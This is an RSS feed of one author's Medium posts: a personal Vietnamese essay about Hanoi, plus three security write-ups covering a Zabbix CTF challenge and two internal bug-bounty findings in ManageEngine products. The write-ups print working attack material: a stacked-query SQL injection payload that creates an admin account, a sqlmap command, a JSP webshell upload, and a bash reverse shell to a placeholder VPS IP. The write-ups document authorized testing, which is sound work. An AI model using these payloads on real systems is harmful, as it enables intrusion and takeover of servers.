<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Duc Anh Bui on Medium]]></title>
        <description><![CDATA[Stories by Duc Anh Bui on Medium]]></description>
        <link>https://medium.com/@ducanhbui?source=rss-9c5b43fee747------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hvt05v88WFuQ1i4PGg-dCQ.jpeg</url>
            <title>Stories by Duc Anh Bui on Medium</title>
            <link>https://medium.com/@ducanhbui?source=rss-9c5b43fee747------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 19:53:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ducanhbui/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Trời đổ mùa thu giữa mùa hè]]></title>
            <link>https://medium.com/@ducanhbui/tr%E1%BB%9Di-%C4%91%E1%BB%95-m%C3%B9a-thu-gi%E1%BB%AFa-m%C3%B9a-h%C3%A8-9a196aae2d2?source=rss-9c5b43fee747------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a196aae2d2</guid>
            <dc:creator><![CDATA[Duc Anh Bui]]></dc:creator>
            <pubDate>Sat, 29 Apr 2023 21:56:06 GMT</pubDate>
            <atom:updated>2023-04-29T21:56:06.075Z</atom:updated>
            <content:encoded><![CDATA[<p>Trời đổ mùa thu giữa mùa hè</p><p>4h sáng nhưng tôi không thể nào mà ngủ được, vừa nghẹt mũi, vừa bị muỗi cắn, vừa ho.. thôi đành lấy cái máy từ trong hũ gạo ngồi viết linh tinh ra cái bài.</p><p>…</p><p>Xa Hà Nội cũng đã được năm rưỡi, làm việc và sinh sống nơi đất khách quê người. Tranh thủ dịp nghỉ lễ dài dài nên tôi cũng xin được về HN chơi lâu lâu chút. Nghĩ đi nghĩ lại vẫn chưa biết lý do gì khiến tôi cứ 1 tháng là lại phải chui về Hà Nội 1 phát??</p><p>Bạn bè, anh em và gia đình vẫn đang đóng chốt ở cái chốn đất chật người đông này, nơi mà các con giời tự tin đi đường không mũ, không gương. Nơi mà quán trà đá, thuốc lào đầy rẫy những góc phố và ngõ ngách. Nơi mà 9h tối đéo có gì làm rủ nhau đi hóng chốt, trà chanh vỉa hè. Nơi mà tôi sinh ra lớn lên cũng được ngót nghét 24 năm? Tôi tự hỏi lý do nào khiến tôi vừa ghét, vừa yêu, vừa nhớ mà cũng vừa thương cái thủ đô nghìn năm văn vở này.</p><p>Mọi người đều hỏi, về đéo gì về lắm thế? Và lần nào tôi cũng trả lời những câu hỏi khác nhau như là:</p><ul><li>Nhớ nhà.</li><li>Nhớ gia đình</li><li>Nhớ anh em, bạn bè</li><li>Trong SG chán vãi l.</li><li>Mình thích thì mình về thôi :D</li></ul><p>Suy cho cùng, mỗi lần về tôi đều có một lí do khác nhau vì tôi vẫn chưa biết câu trả lời là gì, có lẽ sắp trả lời được đấy? Để tạm câu hỏi ở đây đã.</p><p>………</p><p>………</p><p>.</p><p>.</p><p>.</p><p>.</p><p>Đồng hồ vừa sang 4:20p. Tầm này vài năm trước thì cái con số này nó có ý nghĩa hàn lâm mà tôi không thể nào lý giải được?? Cứ đến 4h chiều là anh em lại tụ ra 1 quán cà phê ở giảng võ. Ngân nga vài câu hát, ngồi chọn beat để freestyle, nghĩ ra vài câu diss để chuẩn bị be tồ… giờ vàng điểm thì cứ châm mà hus thôi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4XjlJWmeEzyC0NwRivDC8g.jpeg" /></figure><p>Tôi cảm như đã phí cmn hoài 2 năm đại học chỉ có ngồi be tồ ráp và ngồi đánh đàn hát nhạc cải lương. Trong khi đó các bạn lớp tôi đã hoàn thành 200 bài code thiếu nhi, luyện cho mình những thuật toán ngầu đét. Tôi vẫn hay xàm l với mọi người về trí tuệ nhân tạo, về máy học và mọi người nghĩ tôi vip pro. Điều này khiến tôi lại tự hỏi nếu trong 2 năm đấy thay vì mòn đít ở GVA, tôi mòn đít ở GD2 thì lương của tôi có được như anh HG không nhỉ??</p><p>……</p><p>……</p><p>……</p><p>Nhắc đến VNU, tôi đéo thể nào mà không nhớ được nhân tố NN. Thủ khoa khoá đầu thai của K61 u ê tê vê nờ u.</p><p>Cái lý do mà tôi chơi với nó thì đơn giản vãi, trong lớp tôi đéo chơi với ai và có mỗi con vợ này là đứa hút thuốc :D</p><p>Để kể về truyền thuyết NN thì tốn nước bọt và cơ bụng lắm, nhưng thôi tạm cái quả tóc của nó phát.</p><p>Năm 2, chưa có thằng cc nào dám duộm tóc đi học vì rất dễ bị để ý. Mà đã bị để ý là điểm cũng hơi đuồi tí =))</p><p>Anh em lớp tôi học cũng toàn loại căng thẳng, giải tin học toán học các thứ các kiểu…. Nên cái việc zuộm tóc nó gần như là đéo có.</p><p>Bỗng nhiên 1 ngày, trong lớp có cái đầu trắng phơ như Trương Tam Phong, lướt tha lướt thướt bay trong gió, GD cưỡi chó đuổi theo sau. Mọi người ai cũng đều nhìn chằm chằm vào mái tóc ấy, cứ ngỡ là lớp mới có thêm 1 bóng hồng? Nhưng không đcm hoá ra là nhân tố NN. Mặc áo phông quần bò đi dép tổ ong (đcm nhà nó nữa xúc phạm người nhìn vcl). Và kể từ hôm đấy, tôi đã biết con chó này là xê ô xê xê ☺.</p><p>Một điều nữa mà tôi mộ dung phục thằng này đấy là nó được A+ caculus. Môn này tôi đéo học gì nên chỉ đủ qua môn. Điều kỳ lạ là mấy thằng cùng lớp học giỏi vcc vẫn phải bó tay trước những bài toán Cyka Blyat của Mr. $. Nhưng không, đéo có gì có thể làm khó NN khi nó đã tìm ra được 1 giải pháp. Bằng 1 cách thần kì nào đấy nó đã tìm đc full bộ đề Xuka bờ liệt của ông thầy, hút hết 10 bao Thăng Long (vâng đcm thăng long???) và giải full cái đề đấy. Khi nó khoe tôi thì tôi đã biết con chó này kiểu gì cũng phải đi khám phổi sớm… à thì đương nhiên nó được A+ luôn.</p><p>Chắc phải viết 1 bài riêng về nhân tố NN. Không biết dạo này thằng bạn tôi nó sống như nào? Còn bị dí ở công ty V* nữa không, tôi cũng đéo biết…………</p><p>……</p><p>……</p><p>……</p><p>……</p><p>.</p><p>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*2nFQ-uf4ectuc9qLitcs-g.jpeg" /><figcaption>Ruy Lến, not the reviewer we need but the reviewer we deserve.</figcaption></figure><p>Viết đc 1 lúc vẫn chưa thấy díu, nhưng thôi post tạm đấy bao giờ rảnh viết tiếp.</p><p>****những cái gì về tôi thì nó là đúng, còn về người khác thì đều có yếu tố hư cấu nhé!</p><p>HN, 30/04/1975+48</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a196aae2d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[N1CTF 2020 Zabbix_fun writeup]]></title>
            <link>https://medium.com/@ducanhbui/n1ctf-2020-zabbix-fun-writeup-6f5b9ec24f64?source=rss-9c5b43fee747------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f5b9ec24f64</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf2020]]></category>
            <dc:creator><![CDATA[Duc Anh Bui]]></dc:creator>
            <pubDate>Tue, 20 Oct 2020 09:00:46 GMT</pubDate>
            <atom:updated>2020-10-20T09:04:11.542Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my first writeup from a CTF challenge for a long time. My thoughts about this challenge are mostly reading documentation and searching skills xD.</p><p>I think this is an easy challenge for most CTF players. It’s practical, it’s not guessing at all and it’s a damn good challenge.<br>Only 6 teams solved this challenge?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*7tmvpoW_mkk6o1XNtdxZ5g.png" /><figcaption>Challenge description</figcaption></figure><p>You can download the challenge source here: <a href="https://attachment.nu1lctf.com/2020/web/3945b466579baa3c46ee787ee30b7c9d.zip">https://attachment.nu1lctf.com/2020/web/3945b466579baa3c46ee787ee30b7c9d.zip</a></p><p>Using docker-compose to set up the local environment. The web interface should be at the following address: 127.0.0.1:8080 (and this is the only address you can access to attack)</p><p><strong>Solving the challenge</strong><br>According to my experience, many system administrations don’t change their default credentials when setting up their application. I have encountered this in many penetration testing projects leading to several critical vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0cKBLGHFn35ahTGh1ahUxw.png" /></figure><p>With administrator privilege, you can execute an arbitrary script on the zabbix-server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZYm-7qywqa6bl6DDkxXqRQ.png" /><figcaption>Scripts that execute on the zabbix server</figcaption></figure><p>Navigate to Administration -&gt; Scripts -&gt; Create Scripts and setup a simple reverse shell to your server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*kK_0moa4w8NR4M4QcLE5iA.png" /></figure><p>Then back to Monitoring -&gt; Hosts and execute the script -&gt; Got the shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qMUdayRCOoSRXfRJ3AtGUA.png" /></figure><p>Around 10 minutes reading the documentation, here’s what I got.</p><p><strong>1st. </strong>Zabbix server has a communication command to zabbix agent to retrieve information on zabbix-agent’s server by using zabbix_get</p><p><a href="https://www.zabbix.com/documentation/current/manpages/zabbix_get">https://www.zabbix.com/documentation/current/manpages/zabbix_get</a></p><p><strong>2nd. </strong>They provide a key that can help zabbix server to retrieve the contents of a file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PsYwoN8FhZotw2lEJ8dMAQ.png" /><figcaption>um4dbr0?</figcaption></figure><p>So far so good, trying to get the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*-3UsQzOwEXmYO4OZrKstLQ.png" /></figure><p>My friends told me about this CTF just before it ends. So I didn’t have the chance to submit the real flag. Only retrieve the phake ones xD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hHz2TUYx2Th2GgCSKU6Ocg.png" /><figcaption>l33t</figcaption></figure><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f5b9ec24f64" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ManageEngine ServiceDesk Plus Arbitrary File Upload]]></title>
            <link>https://medium.com/@ducanhbui/manageengine-servicedesk-plus-arbitrary-file-upload-4bab0bd00425?source=rss-9c5b43fee747------2</link>
            <guid isPermaLink="false">https://medium.com/p/4bab0bd00425</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Duc Anh Bui]]></dc:creator>
            <pubDate>Tue, 03 Mar 2020 15:41:04 GMT</pubDate>
            <atom:updated>2020-03-04T08:48:35.370Z</atom:updated>
            <content:encoded><![CDATA[<h3>ManageEngine ServiceDesk Plus: Arbitrary File Upload</h3><h3><strong>Introduction</strong></h3><p>This article is a write up on how I found my second critical vulnerability at the company’s internal bounty program.</p><p>I wrote this for educational purposes only. Do not perform any illegal activity or pen-testing without permission.</p><h3>Vulnerability exploitation</h3><p>After a bunch of enumerations and information gathering on subdomains. I found an interesting subdomain that uses ManageEngine ServiceDesk Plus, which have lots of potential security risk. <br>A few minutes in, I discovered a way to get RCE on this subdomain. This method required an authenticated user to send a POST request to a vulnerable endpoint. (CVE-2019–8394).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*ssTJ8tRORtrGB1R-EaarZw.jpeg" /><figcaption>2020 solving 2020 problems</figcaption></figure><blockquote>In file common/FileAttachment.jsp line 332 only check file upload extension when parameter ‘module’ equal to ‘SSP’ or ‘DashBoard’ or ‘HomePage’, and if parameter ‘module’ is set to ‘CustomLogin’ will skip check file upload extension function and upload arbitrary file to folder ‘/custom/login’ and this file can access directly from url ‘host:port/custom/login/filename’ . An authenticated user with minimum permission (ex: guest) can upload webshell to server.</blockquote><p>So the first thing is to acquire an account (don’t care about the privileges). Rolled the dices and found the simplest account credentials of all time. This made me remembered about my first bug bounty case for V* with admin:admin credentials, easy money easy life.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*3H9RzY-A1HG0AvRnaPVElg.jpeg" /><figcaption>admin:admin</figcaption></figure><p>Got the account, let’s dive into the process of gaining RCE</p><p><strong>The first step</strong> is to authenticate to access the application with guest credentials, then the server will send a response with cookie parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*mD2Az531pytCW9NVWIRx2w.jpeg" /></figure><p>After that, take the cookie parameters and webshell content and put them in sections showed in the image below (I got the webshell from this<a href="https://github.com/SecurityRiskAdvisors/cmd.jsp"><strong><em> repo</em></strong></a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WyCfdmPPhPRgWJOB0DKCAg.jpeg" /></figure><p><strong>Notes: </strong>Edit your webshell content to have no newlines (spaces are ok), I struggled for half an hour to get my shell run properly.</p><p>The server send me an 200 OK response. Go check the path</p><blockquote>/custom/login/{your_shell_name}.jsp</blockquote><p>Thank god the shell popped up. I can execute arbitrary code on the web server from now on!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*9xtxlSSpdz55TlfB7_N-5g.jpeg" /><figcaption>First time RCE on Window</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*SFJK_gL-7lb8jz1UMVCzsA.jpeg" /><figcaption>Corona Quarantine List?</figcaption></figure><h3><strong>Conclusion</strong></h3><ul><li>Always keep your application up-to-date to mitigate security issues.</li><li>Keep trying, there’s still a light at the end of the tunnel xD</li></ul><h3><strong>References</strong></h3><ul><li><a href="https://www.exploit-db.com/exploits/46413">Offensive Security&#39;s Exploit Database Archive</a></li><li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2019-8394">CVE - CVE-2019-8394</a></li></ul><p><a href="https://github.com/SecurityRiskAdvisors/cmd.jsp">https://github.com/SecurityRiskAdvisors/cmd.jsp</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4bab0bd00425" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ManageEngine Application Manager: SQL Injection & Remote Code Execution]]></title>
            <link>https://medium.com/@ducanhbui/manageengine-application-manager-sql-injection-remote-code-execution-7e760383bb7e?source=rss-9c5b43fee747------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e760383bb7e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Duc Anh Bui]]></dc:creator>
            <pubDate>Mon, 02 Mar 2020 04:48:35 GMT</pubDate>
            <atom:updated>2020-05-06T10:37:40.197Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>TL;DR</strong></h3><p>Tóm tắt quá trình phát hiện lỗ hổng này của mình chỉ đơn giản các bước như sau:</p><ol><li>Sau khi bất lực với domain chính, quay sang enum subdomain và tìm ra một sub khá thú vị sử dụng ManageEngine Application Manager (MEAM)</li><li>Khai thác lỗ hổng SQL injection để tạo một tài khoản sử dụng hệ thống với quyền admin</li><li>Thông qua “tính năng” của MEAM giúp người tấn công dễ dàng có được RCE</li></ol><p>Một ngày đẹp trời giống như bao ngày đẹp trời khác, mình đang lang thang trên các sub-domain mà mình vừa quét của các target nằm trong chương trình pentest của công ty. Lớ ngớ vớ đúng ẻm ManageEngine đang nằm chờ sẵn đợi mình khai thác em nó, hehe. Vì chương trình bounty là nội bộ nên mình xin phép sẽ đổi tên miền target thành http://redacted.com/</p><p>Tóm gọn cái Application Manager được sử dụng để làm gì?</p><p><em>“Application Manager giúp quản trị viên, nhà điều hành CNTT giám sát trung tâm dữ liệu, cơ sở hạ tầng CNTT của doanh nghiệp’’</em></p><p>MEAM là một ứng dụng có nhiều quyền hạn, có thể theo dõi và vá lỗi của các máy chủ ảo &amp; vật lý, ứng dụng, v.v… từ xa. Các bạn có thể xem thêm về sản phẩm này ở <a href="https://www.manageengine.com/products/applications_manager/"><strong><em>đây</em></strong></a></p><h3>Quá trình phát hiện &amp; tấn công lỗ hổng</h3><p>Điều đầu tiên nghĩ đến trong đầu mình là tìm kiếm thông tin về các lỗi của sản phẩm này trên các db lớn về lỗ hổng như Mitre CVE, exploit-db</p><p>Nhìn kỹ phần trang sản phẩm thì ta có thể thấy có vẻ như sản phẩm này đã lâu chưa được update -&gt; có thể khai thác các lỗ hổng đã được public gần đây (mình mong là như vậy ^^)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*cIm_x8g5PXAgsMQCcdq6cg.jpeg" /><figcaption>Tự zưng tui thấy một hiện tượng lạ @@</figcaption></figure><p>Lần mò một lúc và cuối cùng mình cũng đã tạo được tài khoản với quyền admin nhờ lỗi SQL Injection. Các bạn có thể tham khảo thêm về cách khai thác lỗ hổng này tại <a href="https://www.exploit-db.com/exploits/46740"><strong><em>đây</em></strong></a></p><blockquote><a href="https://www.exploit-db.com/exploits/46740">https://www.exploit-db.com/exploits/46740</a></blockquote><p>Nói sơ qua về lỗ hổng này và hướng đi cũng không có gì quá phức tạp. Theo các nguồn thông tin mà mình tìm hiểu được thì có một endpoint có lỗi SQL Injection mà không cần xác thực người dùng thông qua tham số resourceid. Kỹ thuật sử dụng ở đây là Stacked Queries</p><blockquote>“http://redacted.com/ jsp/FaultTemplateOptions.jsp”</blockquote><p>Sau khi chạy sqlmap cho ra kết quả như dưới hình</p><blockquote>sqlmap -u http://redacted.com/ jsp/FaultTemplateOptions.jsp — data=”resourceid=1&quot; -p “resourceid” — method POST — sql-shell</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uW9Fo12N9exDYOsSGZHAnQ.jpeg" /></figure><p>Đến đây thì mọi thứ đã dễ dàng hơn khá nhiều rồi. Ta tiếp tục sử dụng sqli để tạo tài khoản admin trong trường hợp MEAM sử dụng db là postgres. Còn đối với MSSQL thì trong link exploit mình chia sẻ ở trên cũng giống nhau.</p><blockquote>1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+($$490$$,$${user_name}$$,$${md5_hash}$$);insert+into+Am_UserGroupTable+(username,groupname)+values+($${user_name}$$,$$ADMIN$$); — +</blockquote><p>Payload trên thực hiện Insert user vào table User của MEAM, và insert role admin cho user đó và table Am_UserGroupTable.</p><p>$$490$$: ID của account inject vào database (random)</p><p>{user_name}: tên đăng nhập</p><p>{md5_hash}: mật khẩu đã được hash qua MD5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2MVVCPYWf0GgLvJpWctMLw.jpeg" /></figure><p>Đăng nhập vào hệ thống với username và password chúng ta vừa inject vào server. Điều kỳ diệu xảy ra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*nYKOaE1S96rYA0y0mgfxZw.jpeg" /><figcaption>Đã có account admin rồi!</figcaption></figure><p>Có tài khoản admin trong tay, chúng ta bắt đầu chọc ngoáy tiếp cái app này thôi</p><p>MEAM cho phép người dùng có quyền admin có thể upload file lên máy chủ.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-SWWTVVdu53yGdLtt5ED5A.jpeg" /></figure><p>Đối với MEAM, đường dẫn đến thư mục hiện tại mà ứng dụng đang sử dụng trong trường hợp này là <strong><em>/opt/ME/AppManager12 </em></strong>=&gt; sử dụng hệ điều hành linux</p><p>Ta tạo một bash script đơn giản để setup reverse shell</p><p>Nội dung của file reverse_shell.sh</p><blockquote>bash -i &gt; /dev/tcp/YOUR_VPS_IP/4444 0&gt;&amp;1</blockquote><p>Một “tính năng” của MEAM đó là cho phép người dùng có quyền admin có thể thực thi script trên hệ thống với quyền root…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*7AjR8jmw57sxfmYx7kInNg.jpeg" /></figure><p>Điều hướng đến tab Actions -&gt; Execute Program</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*syHvgSF0WCdwXZXjNbEErw.jpeg" /></figure><p>Tạo action mới, setting như hình dưới đây.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WnK9T24Nd9ozZJFi-s2RRQ.jpeg" /></figure><p>Chạy netcat listener ở VPS của bạn, sau đó ta điều hướng về <strong><em>Actions -&gt; View Actions. </em></strong>Một cú click và chúng ta đã có RCE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iOiRsKt5vIRj-tb2eN-y_w.jpeg" /></figure><p>Reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y3zXp02lDZAItsWN-YA5wA.jpeg" /></figure><p>Khuyến cáo cho các hệ thống hiện đang sử dụng MEAM để quản lý hệ thống server, ứng dụng:</p><ol><li>Cập nhật ứng dụng thường xuyên.</li><li>Cập nhật ứng dụng thường xuyên.</li></ol><p>Cảm ơn các bạn đã đọc bài viết này</p><p>Hooray!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39XH_f0LJwqV4TXiv3Ma-w.png" /></figure><h4><strong><em>Ngoài lề</em></strong></h4><p>Với bản chất tò mò, mình quyết định tìm hiểu xem có còn lại gì sau cơn mưa hay không :(</p><p>Vô tình đi ngang qua một blog research security Việt Nam. Đọc bài viết <a href="https://blog.viettelcybersecurity.com/zoho-manageengine-applications-manager-from-sqli-to-rce-more/"><strong><em>này</em></strong> </a>mình đã tìm ra được thêm một lỗi nữa đó là lộ thông tin username và password của Database server</p><p>Ta điều hướng đến Edit monitor -&gt; Chọn một monitor, server bất kỳ ở trong list. Ở đây mình chọn một database trong 1 tỉ cái monitor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pv4lMA00ZomS_12pXHR8Aw.jpeg" /></figure><p>Bật burp suite lên, ta thực hiện Test Credential. Client sẽ gửi một request đến phía server để authenticate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YyhnJrxiv-QGjfoNVP2AMw.jpeg" /><figcaption>Capture được username và password của database</figcaption></figure><p>Response trả về của server khi thông tin chính xác</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*1a8pJgoaodEfiwfRSwzk9g.jpeg" /></figure><p>Response trả về của server khi thông tin sai</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*_-Jg_kd7hMbAM7ylKZD-Zw.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e760383bb7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>